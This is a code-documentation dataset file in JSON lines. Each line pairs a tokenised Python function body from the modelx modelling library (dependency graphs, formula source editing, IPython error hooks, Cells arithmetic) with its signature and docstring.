{"signature": "def remove_decorator(source: str):", "body": "lines = source.splitlines()<EOL>atok = asttokens.ASTTokens(source, parse=True)<EOL>for node in ast.walk(atok.tree):<EOL><INDENT>if isinstance(node, ast.FunctionDef):<EOL><INDENT>break<EOL><DEDENT><DEDENT>if node.decorator_list:<EOL><INDENT>deco_first = node.decorator_list[<NUM_LIT:0>]<EOL>deco_last = node.decorator_list[-<NUM_LIT:1>]<EOL>line_first = atok.tokens[deco_first.first_token.index - <NUM_LIT:1>].start[<NUM_LIT:0>]<EOL>line_last = atok.tokens[deco_last.last_token.index + <NUM_LIT:1>].start[<NUM_LIT:0>]<EOL>lines = lines[:line_first - <NUM_LIT:1>] + lines[line_last:]<EOL><DEDENT>return \"<STR_LIT:\\n>\".join(lines) + \"<STR_LIT:\\n>\"<EOL>", "docstring": "Remove decorators from function definition", "id": "f13978:m6"}
{"signature": "def replace_funcname(source: str, name: str):", "body": "lines = source.splitlines()<EOL>atok = asttokens.ASTTokens(source, parse=True)<EOL>for node in ast.walk(atok.tree):<EOL><INDENT>if isinstance(node, ast.FunctionDef):<EOL><INDENT>break<EOL><DEDENT><DEDENT>i = node.first_token.index<EOL>for i in range(node.first_token.index, node.last_token.index):<EOL><INDENT>if (atok.tokens[i].type == token.NAME<EOL>and atok.tokens[i].string == \"<STR_LIT>\"):<EOL><INDENT>break<EOL><DEDENT><DEDENT>lineno, col_begin = atok.tokens[i + <NUM_LIT:1>].start<EOL>lineno_end, col_end = atok.tokens[i + <NUM_LIT:1>].end<EOL>assert lineno == lineno_end<EOL>lines[lineno-<NUM_LIT:1>] = (<EOL>lines[lineno-<NUM_LIT:1>][:col_begin] + name + lines[lineno-<NUM_LIT:1>][col_end:]<EOL>)<EOL>return \"<STR_LIT:\\n>\".join(lines) + \"<STR_LIT:\\n>\"<EOL>", "docstring": "Replace function name", "id": "f13978:m7"}
{"signature": "def has_lambda(src):", "body": "module_node = ast.parse(dedent(src))<EOL>lambdaexp = [node for node in ast.walk(module_node)<EOL>if isinstance(node, ast.Lambda)]<EOL>return bool(lambdaexp)<EOL>", "docstring": "True if only one lambda expression is included", "id": "f13978:m8"}
{"signature": "def __getstate__(self):", "body": "return {\"<STR_LIT:source>\": self.source, \"<STR_LIT>\": self.module}<EOL>", "docstring": "Specify members to pickle.", "id": "f13978:c1:m7"}
{"signature": "def _reload(self, module=None):", "body": "if self.module is None:<EOL><INDENT>raise RuntimeError<EOL><DEDENT>elif module is None:<EOL><INDENT>import importlib<EOL>module = ModuleSource(importlib.reload(module))<EOL><DEDENT>elif module.name != self.module:<EOL><INDENT>raise RuntimeError<EOL><DEDENT>if self.name in module.funcs:<EOL><INDENT>func = module.funcs[self.name]<EOL>self.__init__(func=func)<EOL><DEDENT>else:<EOL><INDENT>self.__init__(func=NULL_FORMULA)<EOL><DEDENT>return self<EOL>", "docstring": "Reload the source function from the source module.\n\n        **Internal use only**\n        Update the source function of the formula.\n        This method is used to updated the underlying formula\n        when the source code of the module in which the source function\n        is read from is modified.\n\n        If the formula was not created from a module, an error is raised.\n        If ``module_`` is not given, the source module of the formula is\n        reloaded. If ``module_`` is given and matches the source module,\n        then the module_ is used without being reloaded.\n        If ``module_`` is given and does not match the source module of\n        the formula, an error is raised.\n\n        Args:\n            module_: A ``ModuleSource`` object\n\n        Returns:\n            self", "id": "f13978:c1:m10"}
{"signature": "def clear_descendants(self, source, clear_source=True):", "body": "desc = nx.descendants(self, source)<EOL>if clear_source:<EOL><INDENT>desc.add(source)<EOL><DEDENT>self.remove_nodes_from(desc)<EOL>return desc<EOL>", "docstring": "Remove all descendants of(reachable from) `source`.\n\n        Args:\n            source: Node descendants\n            clear_source(bool): Remove origin too if True.\n        Returns:\n            set: The removed nodes.", "id": "f13980:c0:m0"}
{"signature": "def clear_obj(self, obj):", "body": "obj_nodes = self.get_nodes_with(obj)<EOL>removed = set()<EOL>for node in obj_nodes:<EOL><INDENT>if self.has_node(node):<EOL><INDENT>removed.update(self.clear_descendants(node))<EOL><DEDENT><DEDENT>return removed<EOL>", "docstring": "Remove all nodes with `obj` and their descendants.", "id": "f13980:c0:m1"}
{"signature": "def get_nodes_with(self, obj):", "body": "result = set()<EOL>if nx.__version__[<NUM_LIT:0>] == \"<STR_LIT:1>\":<EOL><INDENT>nodes = self.nodes_iter()<EOL><DEDENT>else:<EOL><INDENT>nodes = self.nodes<EOL><DEDENT>for node in nodes:<EOL><INDENT>if node[OBJ] == obj:<EOL><INDENT>result.add(node)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return nodes with `obj`.", "id": "f13980:c0:m2"}
{"signature": "def fresh_copy(self):", "body": "return DependencyGraph()<EOL>", "docstring": "Overriding Graph.fresh_copy", "id": "f13980:c0:m3"}
{"signature": "def add_path(self, nodes, **attr):", "body": "if nx.__version__[<NUM_LIT:0>] == \"<STR_LIT:1>\":<EOL><INDENT>return super().add_path(nodes, **attr)<EOL><DEDENT>else:<EOL><INDENT>return nx.add_path(self, nodes, **attr)<EOL><DEDENT>", "docstring": "In replacement for Deprecated add_path method", "id": "f13980:c0:m4"}
{"signature": "def rename(self, name):", "body": "self._impl.system.rename_model(new_name=name, old_name=self.name)<EOL>", "docstring": "Rename the model itself", "id": "f13980:c1:m0"}
{"signature": "def save(self, filepath):", "body": "self._impl.save(filepath)<EOL>", "docstring": "Save the model to a file.", "id": "f13980:c1:m1"}
{"signature": "def close(self):", "body": "self._impl.close()<EOL>", "docstring": "Close the model.", "id": "f13980:c1:m2"}
{"signature": "@property<EOL><INDENT>def cellgraph(self):<DEDENT>", "body": "return self._impl.cellgraph<EOL>", "docstring": "A directed graph of cells.", "id": "f13980:c1:m7"}
{"signature": "@property<EOL><INDENT>def refs(self):<DEDENT>", "body": "return self._impl.global_refs.interfaces<EOL>", "docstring": "Return a mapping of global references.", "id": "f13980:c1:m8"}
{"signature": "def rename(self, name):", "body": "if is_valid_name(name):<EOL><INDENT>if name not in self.system.models:<EOL><INDENT>self.name = name<EOL>return True  <EOL><DEDENT>else:  <EOL><INDENT>return False<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % name)<EOL><DEDENT>", "docstring": "Rename self. Must be called only by its system.", "id": "f13980:c2:m1"}
{"signature": "def clear_descendants(self, source, clear_source=True):", "body": "removed = self.cellgraph.clear_descendants(source, clear_source)<EOL>for node in removed:<EOL><INDENT>del node[OBJ].data[node[KEY]]<EOL><DEDENT>", "docstring": "Clear values and nodes calculated from `source`.", "id": "f13980:c2:m2"}
{"signature": "def clear_obj(self, obj):", "body": "removed = self.cellgraph.clear_obj(obj)<EOL>for node in removed:<EOL><INDENT>del node[OBJ].data[node[KEY]]<EOL><DEDENT>", "docstring": "Clear values and nodes of `obj` and their dependants.", "id": "f13980:c2:m3"}
{"signature": "def get_object(self, name):", "body": "parts = name.split(\"<STR_LIT:.>\")<EOL>space = self.spaces[parts.pop(<NUM_LIT:0>)]<EOL>if parts:<EOL><INDENT>return space.get_object(\"<STR_LIT:.>\".join(parts))<EOL><DEDENT>else:<EOL><INDENT>return space<EOL><DEDENT>", "docstring": "Retrieve an object by a dotted name relative to the model.", "id": "f13980:c2:m12"}
{"signature": "def restore_state(self, system):", "body": "Impl.restore_state(self, system)<EOL>BaseSpaceContainerImpl.restore_state(self, system)<EOL>mapping = {}<EOL>for node in self.cellgraph:<EOL><INDENT>if isinstance(node, tuple):<EOL><INDENT>name, key = node<EOL><DEDENT>else:<EOL><INDENT>name, key = node, None<EOL><DEDENT>cells = self.get_object(name)<EOL>mapping[node] = get_node(cells, key, None)<EOL><DEDENT>self.cellgraph = nx.relabel_nodes(self.cellgraph, mapping)<EOL>", "docstring": "Called after unpickling to restore some attributes manually.", "id": "f13980:c2:m15"}
{"signature": "def get_dynamic_base(self, bases: tuple):", "body": "try:<EOL><INDENT>return self._dynamic_bases_inverse[bases]<EOL><DEDENT>except KeyError:<EOL><INDENT>name = self._dynamic_base_namer.get_next(self._dynamic_bases)<EOL>base = self._new_space(name=name)<EOL>self.spacegraph.add_space(base)<EOL>self._dynamic_bases[name] = base<EOL>self._dynamic_bases_inverse[bases] = base<EOL>base.add_bases(bases)<EOL>return base<EOL><DEDENT>", "docstring": "Create of get a base space for a tuple of bases", "id": "f13980:c2:m22"}
{"signature": "def get_bases(self, node):", "body": "return self.predecessors(node)<EOL>", "docstring": "Direct Bases iterator", "id": "f13980:c3:m3"}
{"signature": "def check_mro(self, bases):", "body": "try:<EOL><INDENT>self.add_node(\"<STR_LIT>\")<EOL>for base in bases:<EOL><INDENT>nx.DiGraph.add_edge(self, base, \"<STR_LIT>\")<EOL><DEDENT>result = self.get_mro(\"<STR_LIT>\")[<NUM_LIT:1>:]<EOL><DEDENT>finally:<EOL><INDENT>self.remove_node(\"<STR_LIT>\")<EOL><DEDENT>return result<EOL>", "docstring": "Check if C3 MRO is possible with given bases", "id": "f13980:c3:m4"}
{"signature": "def get_mro(self, space):", "body": "seqs = [self.get_mro(base) for base in self.get_bases(space)] + [<EOL>list(self.get_bases(space))<EOL>]<EOL>res = []<EOL>while True:<EOL><INDENT>non_empty = list(filter(None, seqs))<EOL>if not non_empty:<EOL><INDENT>res.insert(<NUM_LIT:0>, space)<EOL>return res<EOL><DEDENT>for seq in non_empty:  <EOL><INDENT>candidate = seq[<NUM_LIT:0>]<EOL>not_head = [s for s in non_empty if candidate in s[<NUM_LIT:1>:]]<EOL>if not_head:<EOL><INDENT>candidate = None<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if not candidate:  <EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>res.append(candidate)<EOL>for seq in non_empty:<EOL><INDENT>if seq[<NUM_LIT:0>] == candidate:<EOL><INDENT>del seq[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Calculate the Method Resolution Order of bases using the C3 algorithm.\n\n        Code modified from\n        http://code.activestate.com/recipes/577748-calculate-the-mro-of-a-class/\n\n        Args:\n            bases: sequence of direct base spaces.\n\n        Returns:\n            mro as a list of bases including node itself", "id": "f13980:c3:m5"}
{"signature": "def custom_showwarning(<EOL>message, category, filename=\"<STR_LIT>\", lineno=-<NUM_LIT:1>, file=None, line=None<EOL>):", "body": "if file is None:<EOL><INDENT>file = sys.stderr<EOL>if file is None:<EOL><INDENT>return<EOL><DEDENT><DEDENT>text = \"<STR_LIT>\" % (category.__name__, message)<EOL>try:<EOL><INDENT>file.write(text)<EOL><DEDENT>except OSError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Hook to override default showwarning.\n\n    https://stackoverflow.com/questions/2187269/python-print-only-the-message-on-warnings", "id": "f13981:m0"}
{"signature": "def is_ipython():", "body": "try:<EOL><INDENT>__IPYTHON__<EOL>return True<EOL><DEDENT>except NameError:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "True if the current shell is an IPython shell.\n\n    Note __IPYTHON__ is not yet set before IPython kernel is initialized.\n\n    https://stackoverflow.com/questions/5376837/how-can-i-do-an-if-run-from-ipython-test-in-python", "id": "f13981:m1"}
{"signature": "def custom_showtraceback(<EOL>self,<EOL>exc_tuple=None,<EOL>filename=None,<EOL>tb_offset=None,<EOL>exception_only=False,<EOL>running_compiled_code=False,<EOL>):", "body": "self.default_showtraceback(<EOL>exc_tuple,<EOL>filename,<EOL>tb_offset,<EOL>exception_only=True,<EOL>running_compiled_code=running_compiled_code,<EOL>)<EOL>", "docstring": "Custom showtraceback for monkey-patching IPython's InteractiveShell\n\n    https://stackoverflow.com/questions/1261668/cannot-override-sys-excepthook", "id": "f13981:m2"}
{"signature": "def excepthook(self, except_type, exception, traceback):", "body": "if except_type is DeepReferenceError:<EOL><INDENT>print(exception.msg)<EOL><DEDENT>else:<EOL><INDENT>self.default_excepthook(except_type, exception, traceback)<EOL><DEDENT>", "docstring": "Not Used: Custom exception hook to replace sys.excepthook\n\n    This is for CPython's default shell. IPython does not use sys.exepthook.\n\n    https://stackoverflow.com/questions/27674602/hide-traceback-unless-a-debug-flag-is-set", "id": "f13981:m3"}
{"signature": "def tracemessage(self, maxlen=<NUM_LIT:6>):", "body": "result = \"<STR_LIT>\"<EOL>for i, value in enumerate(self):<EOL><INDENT>result += \"<STR_LIT>\".format(i, get_node_repr(value))<EOL><DEDENT>result = result.strip(\"<STR_LIT:\\n>\")<EOL>lines = result.split(\"<STR_LIT:\\n>\")<EOL>if maxlen and len(lines) > maxlen:<EOL><INDENT>i = int(maxlen / <NUM_LIT:2>)<EOL>lines = lines[:i] + [\"<STR_LIT>\"] + lines[-(maxlen - i) :]<EOL>result = \"<STR_LIT:\\n>\".join(lines)<EOL><DEDENT>return result<EOL>", "docstring": "if maxlen > 0, the message is shortened to maxlen traces.", "id": "f13981:c1:m4"}
{"signature": "def setup_ipython(self):", "body": "if self.is_ipysetup:<EOL><INDENT>return<EOL><DEDENT>from ipykernel.kernelapp import IPKernelApp<EOL>self.shell = IPKernelApp.instance().shell  <EOL>if not self.shell and is_ipython():<EOL><INDENT>self.shell = get_ipython()<EOL><DEDENT>if self.shell:<EOL><INDENT>shell_class = type(self.shell)<EOL>shell_class.default_showtraceback = shell_class.showtraceback<EOL>shell_class.showtraceback = custom_showtraceback<EOL>self.is_ipysetup = True<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Monkey patch shell's error handler.\n\n        This method is to monkey-patch the showtraceback method of\n        IPython's InteractiveShell to\n\n        __IPYTHON__ is not detected when starting an IPython kernel,\n        so this method is called from start_kernel in spyder-modelx.", "id": "f13981:c2:m1"}
{"signature": "def restore_ipython(self):", "body": "if not self.is_ipysetup:<EOL><INDENT>return<EOL><DEDENT>shell_class = type(self.shell)<EOL>shell_class.showtraceback = shell_class.default_showtraceback<EOL>del shell_class.default_showtraceback<EOL>self.is_ipysetup = False<EOL>", "docstring": "Restore default IPython showtraceback", "id": "f13981:c2:m2"}
{"signature": "def configure_python(self):", "body": "sys.setrecursionlimit(<NUM_LIT:10>**<NUM_LIT:6>)<EOL>warnings.showwarning = custom_showwarning<EOL>threading.stack_size(<NUM_LIT>)<EOL>", "docstring": "Configure Python settings for modelx\n\n        The error handler is configured later.", "id": "f13981:c2:m3"}
{"signature": "def restore_python(self):", "body": "orig = self.orig_settings<EOL>sys.setrecursionlimit(orig[\"<STR_LIT>\"])<EOL>if \"<STR_LIT>\" in orig:<EOL><INDENT>sys.tracebacklimit = orig[\"<STR_LIT>\"]<EOL><DEDENT>else:<EOL><INDENT>if hasattr(sys, \"<STR_LIT>\"):<EOL><INDENT>del sys.tracebacklimit<EOL><DEDENT><DEDENT>if \"<STR_LIT>\" in orig:<EOL><INDENT>warnings.showwarning = orig[\"<STR_LIT>\"]<EOL><DEDENT>orig.clear()<EOL>threading.stack_size()<EOL>", "docstring": "Restore Python settings to the original states", "id": "f13981:c2:m4"}
{"signature": "def get_object(self, name):", "body": "parts = name.split(\"<STR_LIT:.>\")<EOL>model_name = parts.pop(<NUM_LIT:0>)<EOL>return self.models[model_name].get_object(\"<STR_LIT:.>\".join(parts))<EOL>", "docstring": "Retrieve an object by its absolute name.", "id": "f13981:c2:m14"}
{"signature": "def convert_args(args, kwargs):", "body": "found = False<EOL>for arg in args:<EOL><INDENT>if isinstance(arg, Cells):<EOL><INDENT>found = True<EOL>break<EOL><DEDENT><DEDENT>if found:<EOL><INDENT>args = tuple(<EOL>arg.value if isinstance(arg, Cells) else arg for arg in args<EOL>)<EOL><DEDENT>if kwargs is not None:<EOL><INDENT>for key, arg in kwargs.items():<EOL><INDENT>if isinstance(arg, Cells):<EOL><INDENT>kwargs[key] = arg.value<EOL><DEDENT><DEDENT><DEDENT>return args, kwargs<EOL>", "docstring": "If args and kwargs contains Cells, Convert them to their values.", "id": "f13982:m0"}
{"signature": "def shareable_parameters(cells):", "body": "result = []<EOL>for c in cells.values():<EOL><INDENT>params = c.formula.parameters<EOL>for i in range(min(len(result), len(params))):<EOL><INDENT>if params[i] != result[i]:<EOL><INDENT>return None<EOL><DEDENT><DEDENT>for i in range(len(result), len(params)):<EOL><INDENT>result.append(params[i])<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Return parameter names if the parameters are shareable among cells.\n\n    Parameters are shareable among multiple cells when all the cells\n    have the parameters in the same order if they ever have any.\n\n    For example, if cells are foo(), bar(x), baz(x, y), then\n    ('x', 'y') are shareable parameters amounts them, as 'x' and 'y'\n    appear in the same order in the parameter list if they ever appear.\n\n    Args:\n        cells: An iterator yielding cells.\n\n    Returns:\n        None if parameters are not share,\n        tuple of shareable parameter names,\n        () if cells are all scalars.", "id": "f13982:m1"}
{"signature": "def match(self, *args, **kwargs):", "body": "return self._impl.find_match(args, kwargs)<EOL>", "docstring": "Returns the best matching args and their value.\n\n        If the cells returns None for the given arguments,\n        continue to get a value by passing arguments\n        masking the given arguments with Nones.\n        The search of non-None value starts from the given arguments\n        to the all None arguments in the lexicographical order.\n        The masked arguments that returns non-None value\n        first is returned with the value.", "id": "f13982:c1:m3"}
{"signature": "def __setitem__(self, key, value):", "body": "self._impl.set_value(tuplize_key(self, key), value)<EOL>", "docstring": "Set value of a particular cell", "id": "f13982:c1:m5"}
{"signature": "def copy(self, space=None, name=None):", "body": "return Cells(space=space, name=name, formula=self.formula)<EOL>", "docstring": "Make a copy of itself and return it.", "id": "f13982:c1:m7"}
{"signature": "def clear(self, *args, **kwargs):", "body": "return self._impl.clear_value(*args, **kwargs)<EOL>", "docstring": "Clear all the values.", "id": "f13982:c1:m9"}
{"signature": "def __bool__(self):", "body": "return self._impl.single_value != <NUM_LIT:0><EOL>", "docstring": "True if self != 0. Called for bool(self).", "id": "f13982:c1:m10"}
{"signature": "def __add__(self, other):", "body": "return self._impl.single_value + other<EOL>", "docstring": "self + other", "id": "f13982:c1:m11"}
{"signature": "def __radd__(self, other):", "body": "return self.__add__(other)<EOL>", "docstring": "other + self", "id": "f13982:c1:m12"}
{"signature": "def __neg__(self):", "body": "return -self._impl.single_value<EOL>", "docstring": "-self", "id": "f13982:c1:m13"}
{"signature": "def __pos__(self):", "body": "return +self._impl.single_value<EOL>", "docstring": "+self", "id": "f13982:c1:m14"}
{"signature": "def __sub__(self, other):", "body": "return self + -other<EOL>", "docstring": "self - other", "id": "f13982:c1:m15"}
{"signature": "def __rsub__(self, other):", "body": "return -self + other<EOL>", "docstring": "other - self", "id": "f13982:c1:m16"}
{"signature": "def __mul__(self, other):", "body": "return self._impl.single_value * other<EOL>", "docstring": "self * other", "id": "f13982:c1:m17"}
{"signature": "def __rmul__(self, other):", "body": "return self.__mul__(other)<EOL>", "docstring": "other * self", "id": "f13982:c1:m18"}
{"signature": "def __truediv__(self, other):", "body": "return self._impl.single_value / other<EOL>", "docstring": "self / other: Should promote to float when necessary.", "id": "f13982:c1:m19"}
{"signature": "def __rtruediv__(self, other):", "body": "return other / self._impl.single_value<EOL>", "docstring": "other / self", "id": "f13982:c1:m20"}
{"signature": "def __pow__(self, exponent):", "body": "return self._impl.single_value ** exponent<EOL>", "docstring": "self ** exponent\n        should promote to float or complex when necessary.", "id": "f13982:c1:m21"}
{"signature": "def __rpow__(self, base):", "body": "return base ** self._impl.single_value<EOL>", "docstring": "base ** self", "id": "f13982:c1:m22"}
{"signature": "def __abs__(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Returns the Real distance from 0. Called for abs(self).", "id": "f13982:c1:m23"}
{"signature": "def __eq__(self, other):", "body": "if self._impl.is_scalar():<EOL><INDENT>return self._impl.single_value == other<EOL><DEDENT>elif isinstance(other, Cells):<EOL><INDENT>return self is other<EOL><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>", "docstring": "self == other", "id": "f13982:c1:m24"}
{"signature": "def __lt__(self, other):", "body": "return self._impl.single_value < other<EOL>", "docstring": "self < other", "id": "f13982:c1:m25"}
{"signature": "def __le__(self, other):", "body": "return self.__eq__(other) or self.__lt__(other)<EOL>", "docstring": "self <= other", "id": "f13982:c1:m26"}
{"signature": "def __gt__(self, other):", "body": "return self._impl.single_value > other<EOL>", "docstring": "self > other", "id": "f13982:c1:m27"}
{"signature": "def __ge__(self, other):", "body": "return self.__eq__(other) or self.__gt__(other)<EOL>", "docstring": "self >= other", "id": "f13982:c1:m28"}
{"signature": "def to_series(self, *args):", "body": "return self._impl.to_series(args)<EOL>", "docstring": "Convert the cells itself into a Pandas Series and return it.", "id": "f13982:c1:m29"}
{"signature": "@property<EOL><INDENT>def series(self):<DEDENT>", "body": "return self._impl.to_series(())<EOL>", "docstring": "Alias of ``to_series()``.", "id": "f13982:c1:m30"}
{"signature": "def to_frame(self, *args):", "body": "return self._impl.to_frame(args)<EOL>", "docstring": "Convert the cells itself into a Pandas DataFrame and return it.\n\n        if no `args` are passed, the returned DataFrame contains as many\n        values as the cells have.\n\n        if A sequence of arguments to the cells is passed as `args`,\n        the returned DataFrame contains values only for the specified `args`.\n\n        Args:\n            args: A sequence or iterable of arguments to the cells.\n\n        Returns:\n            a DataFrame with a column named after the cells,\n            with indexes named after the parameters of the cells.", "id": "f13982:c1:m31"}
{"signature": "@property<EOL><INDENT>def frame(self):<DEDENT>", "body": "return self._impl.to_frame(())<EOL>", "docstring": "Alias of ``to_frame()``.", "id": "f13982:c1:m32"}
{"signature": "@property<EOL><INDENT>def formula(self):<DEDENT>", "body": "return self._impl.formula<EOL>", "docstring": "Property to get, set, delete formula.", "id": "f13982:c1:m33"}
{"signature": "@property<EOL><INDENT>def parameters(self):<DEDENT>", "body": "return self._impl.formula.parameters<EOL>", "docstring": "A tuple of parameter strings.", "id": "f13982:c1:m36"}
{"signature": "def set_formula(self, func):", "body": "self._impl.set_formula(func)<EOL>", "docstring": "Set formula from a function.\n        Deprecated since version 0.0.5. Use formula property instead.", "id": "f13982:c1:m37"}
{"signature": "def clear_formula(self):", "body": "self._impl.clear_formula()<EOL>", "docstring": "Clear the formula.\n        Deprecated since version 0.0.5. Use formula property instead.", "id": "f13982:c1:m38"}
{"signature": "@property<EOL><INDENT>def value(self):<DEDENT>", "body": "return self._impl.single_value<EOL>", "docstring": "Get, set, delete the scalar value.\n        The cells must be a scalar cells.", "id": "f13982:c1:m39"}
{"signature": "def node(self, *args, **kwargs):", "body": "return CellNode(get_node(self._impl, *convert_args(args, kwargs)))<EOL>", "docstring": "Return a :class:`CellNode` object for the given arguments.", "id": "f13982:c1:m42"}
{"signature": "def preds(self, *args, **kwargs):", "body": "return self._impl.predecessors(args, kwargs)<EOL>", "docstring": "Return a list of predecessors of a cell.\n\n        This method returns a list of CellNode objects, whose elements are\n        predecessors of (i.e. referenced in the formula\n        of) the cell specified by the given arguments.", "id": "f13982:c1:m43"}
{"signature": "def succs(self, *args, **kwargs):", "body": "return self._impl.successors(args, kwargs)<EOL>", "docstring": "Return a list of successors of a cell.\n\n        This method returns a list of CellNode objects, whose elements are\n        successors of (i.e. referencing in their formulas)\n        the cell specified by the given arguments.", "id": "f13982:c1:m44"}
{"signature": "@property<EOL><INDENT>def _baseattrs(self):<DEDENT>", "body": "result = super()._baseattrs<EOL>result[\"<STR_LIT>\"] = \"<STR_LIT:U+002CU+0020>\".join(self.parameters)<EOL>return result<EOL>", "docstring": "A dict of members expressed in literals", "id": "f13982:c1:m45"}
{"signature": "@property<EOL><INDENT>def cells(self):<DEDENT>", "body": "return self._impl[OBJ].interface<EOL>", "docstring": "Return the Cells object", "id": "f13982:c3:m1"}
{"signature": "@property<EOL><INDENT>def args(self):<DEDENT>", "body": "return self._impl[KEY]<EOL>", "docstring": "Return a tuple of the cells' arguments.", "id": "f13982:c3:m2"}
{"signature": "@property<EOL><INDENT>def has_value(self):<DEDENT>", "body": "return self._impl[OBJ].has_cell(self._impl[KEY])<EOL>", "docstring": "Return ``True`` if the cell has a value.", "id": "f13982:c3:m3"}
{"signature": "@property<EOL><INDENT>def value(self):<DEDENT>", "body": "if self.has_value:<EOL><INDENT>return self._impl[OBJ].get_value(self._impl[KEY])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Return the value of the cells.", "id": "f13982:c3:m4"}
{"signature": "@property<EOL><INDENT>def preds(self):<DEDENT>", "body": "return self.cells.preds(*self.args)<EOL>", "docstring": "A list of nodes that this node refers to.", "id": "f13982:c3:m5"}
{"signature": "@property<EOL><INDENT>def succs(self):<DEDENT>", "body": "return self.cells.succs(*self.args)<EOL>", "docstring": "A list of nodes that refer to this  node.", "id": "f13982:c3:m6"}
{"signature": "@property<EOL><INDENT>def _baseattrs(self):<DEDENT>", "body": "result = {<EOL>\"<STR_LIT:type>\": type(self).__name__,<EOL>\"<STR_LIT>\": self.cells._baseattrs,<EOL>\"<STR_LIT:args>\": self.args,<EOL>\"<STR_LIT:value>\": self.value if self.has_value else None,<EOL>\"<STR_LIT>\": len(self.preds),<EOL>\"<STR_LIT>\": len(self.succs),<EOL>\"<STR_LIT>\": self.cells._impl.repr_parent(),<EOL>\"<STR_LIT>\": self.cells._get_repr(),<EOL>}<EOL>return result<EOL>", "docstring": "A dict of members expressed in literals", "id": "f13982:c3:m7"}
{"signature": "def get_interfaces(impls):", "body": "if impls is None:<EOL><INDENT>return None<EOL><DEDENT>elif isinstance(impls, OrderMixin):<EOL><INDENT>result = OrderedDict()<EOL>for name in impls.order:<EOL><INDENT>result[name] = impls[name].interface<EOL><DEDENT>return result<EOL><DEDENT>elif isinstance(impls, Mapping):<EOL><INDENT>return {name: impls[name].interface for name in impls}<EOL><DEDENT>elif isinstance(impls, Sequence):<EOL><INDENT>return [impl.interface for impl in impls]<EOL><DEDENT>else:<EOL><INDENT>return impls.interface<EOL><DEDENT>", "docstring": "Get interfaces from their implementations.", "id": "f13983:m0"}
{"signature": "def get_impls(interfaces):", "body": "if interfaces is None:<EOL><INDENT>return None<EOL><DEDENT>elif isinstance(interfaces, Mapping):<EOL><INDENT>return {name: interfaces[name]._impl for name in interfaces}<EOL><DEDENT>elif isinstance(interfaces, Sequence):<EOL><INDENT>return [interfaces._impl for interfaces in interfaces]<EOL><DEDENT>else:<EOL><INDENT>return interfaces._impl<EOL><DEDENT>", "docstring": "Get impls from their interfaces.", "id": "f13983:m1"}
{"signature": "def update_lazyevals(self):", "body": "if self.lazy_evals is None:<EOL><INDENT>return<EOL><DEDENT>elif isinstance(self.lazy_evals, LazyEval):<EOL><INDENT>self.lazy_evals.get_updated()<EOL><DEDENT>else:<EOL><INDENT>for lz in self.lazy_evals:<EOL><INDENT>lz.get_updated()<EOL><DEDENT><DEDENT>", "docstring": "Update all LazyEvals in self\n\n        self.lzy_evals must be set to LazyEval object(s) enough to\n        update all owned LazyEval objects.", "id": "f13983:c0:m2"}
{"signature": "@property<EOL><INDENT>def evalrepr(self):<DEDENT>", "body": "if self.is_model():<EOL><INDENT>return self.get_fullname()<EOL><DEDENT>else:<EOL><INDENT>return self.parent.evalrepr + \"<STR_LIT:.>\" + self.name<EOL><DEDENT>", "docstring": "Evaluable repr", "id": "f13983:c0:m4"}
{"signature": "def restore_state(self, system):", "body": "self.system = system<EOL>", "docstring": "Called after unpickling to restore some attributes manually.", "id": "f13983:c0:m5"}
{"signature": "@property<EOL><INDENT>def name(self):<DEDENT>", "body": "return self._impl.name<EOL>", "docstring": "Name of the object.", "id": "f13983:c5:m1"}
{"signature": "@property<EOL><INDENT>def fullname(self):<DEDENT>", "body": "return self._impl.get_fullname()<EOL>", "docstring": "Dotted name of the object.\n\n        Names joined by dots, such as 'Model1.Space1.Cells1',\n        each element in the string is the name of the parent object\n        of the next one joined by a dot.", "id": "f13983:c5:m2"}
{"signature": "@property<EOL><INDENT>def parent(self):<DEDENT>", "body": "if self._impl.parent is None:<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return self._impl.parent.interface<EOL><DEDENT>", "docstring": "The parent of this object. None for models.\n\n        The parent object of a cells is a space that contains the cells.\n        The parent object of a space is either a model or another space\n        that contains the space.", "id": "f13983:c5:m3"}
{"signature": "@property<EOL><INDENT>def model(self):<DEDENT>", "body": "return self._impl.model.interface<EOL>", "docstring": "The model this object belongs to.\n\n        This is a property of Model, Space and Cells.\n        For models, this property is themselves.", "id": "f13983:c5:m4"}
{"signature": "@property<EOL><INDENT>def allow_none(self):<DEDENT>", "body": "return self._impl.allow_none<EOL>", "docstring": "Whether a cells can have None as its value.\n\n        This is a property of Model, Space and Cells.\n        If ``allow_none`` of a cells is False,\n        the cells cannot have None as its value.\n        Assigning None to the cells\n        or its formula returning None raises an Error.\n        If True, the cells can have None as their value.\n        If set to None, ``allow_none`` of its parent is looked up,\n        and the search continues until True or False is found.\n\n        Returns:\n            True if the cells can have None, False if it cannot,\n            or None if a default value from the parent is to be used.", "id": "f13983:c5:m9"}
{"signature": "@property<EOL><INDENT>def _baseattrs(self):<DEDENT>", "body": "result = {<EOL>\"<STR_LIT:type>\": type(self).__name__,<EOL>\"<STR_LIT:id>\": id(self),<EOL>\"<STR_LIT:name>\": self.name,<EOL>\"<STR_LIT>\": self.fullname,<EOL>\"<STR_LIT>\": self._get_repr(),<EOL>}<EOL>return result<EOL>", "docstring": "A dict of members expressed in literals", "id": "f13983:c5:m11"}
{"signature": "def _to_attrdict(self, attrs=None):", "body": "result = self._baseattrs<EOL>for attr in attrs:<EOL><INDENT>if hasattr(self, attr):<EOL><INDENT>result[attr] = getattr(self, attr)._to_attrdict(attrs)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Get extra attributes", "id": "f13983:c5:m12"}
